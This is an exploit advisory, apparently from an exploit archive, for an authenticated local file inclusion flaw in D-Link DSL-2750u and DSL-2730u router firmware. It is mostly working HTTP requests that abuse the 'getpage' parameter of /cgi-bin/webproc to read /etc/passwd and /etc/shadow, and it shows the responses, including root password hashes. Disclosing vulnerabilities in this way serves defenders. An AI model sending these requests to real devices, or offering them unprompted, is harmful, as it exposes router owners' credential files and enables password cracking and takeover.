D-Link DSL-2750u DSL-2730u - (Authenticated) Local File Disclosure

#[+] Author: SATHISH ARTHAR
#[+] Exploit Title: Dlink Wireless Router Password File Access Exploit (Local File Inclusion)
#[+] Date: 07-07-2015
#[+] Platform: Hardware
#[+] Tested on: linux
#[+] Vendor: http://www.dlink.co.in
#[+] Product web page: http://www.dlink.co.in

#[+] Affected version:
DSL-2750u (firmware: IN_1.08 )
DSL-2730u (firmware: IN_1.02 )

#[+] Sites: sathisharthars.wordpress.com
#[+] Twitter: @sathisharthars
#[+] Thanks: offensive security (@offsectraining)


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Dlink Wireless Router Password File Access Exploit
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Summary:

The Dlink DSL-2750u and DSL-2730u wireless router improves
your legacy Wireless-G network. It is a simple, secure way to share your
Internet connection and allows you to easily surf the Internet, use email,
and have online chats. The quick, CD-less setup can be done through a web
browser. The small, efficient design fits perfectly into your home and
small office.


Desc:

The router suffers from an authenticated file inclusion vulnerability
(LFI) when input passed thru the 'getpage' parameter to 'webproc' script is
not properly verified before being used to include files. This can be exploited
to include files from local resources.


Tested on: mini_httpd/1.19 19dec2003



===============================================================


GET /cgi-bin/webproc?var:page=wizard&var:menu=setup&getpage=/etc/passwd HTTP/1.1

Host: 192.168.31.10

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: sessionid=2b48aa9b

Connection: keep-alive



HTTP/1.0 200 OK

Content-type: text/html

Pragma: no-cache

Cache-Control: no-cache

set-cookie: sessionid=2b48aa9b; expires=Fri, 31-Dec-9999 23:59:59 GMT;path=/



#root:x:0:0:root:/root:/bin/bash
root:x:0:0:root:/root:/bin/sh
#tw:x:504:504::/home/tw:/bin/bash
#tw:x:504:504::/home/tw:/bin/msh


GET /cgi-bin/webproc?var:page=wizard&var:menu=setup&getpage=/etc/shadow HTTP/1.1

Host: 192.168.31.10

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: sessionid=2b48aa9b

Connection: keep-alive


HTTP/1.0 200 OK

Content-type: text/html

Pragma: no-cache

Cache-Control: no-cache

set-cookie: sessionid=2b48aa9b; expires=Fri, 31-Dec-9999 23:59:59 GMT;path=/



#root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::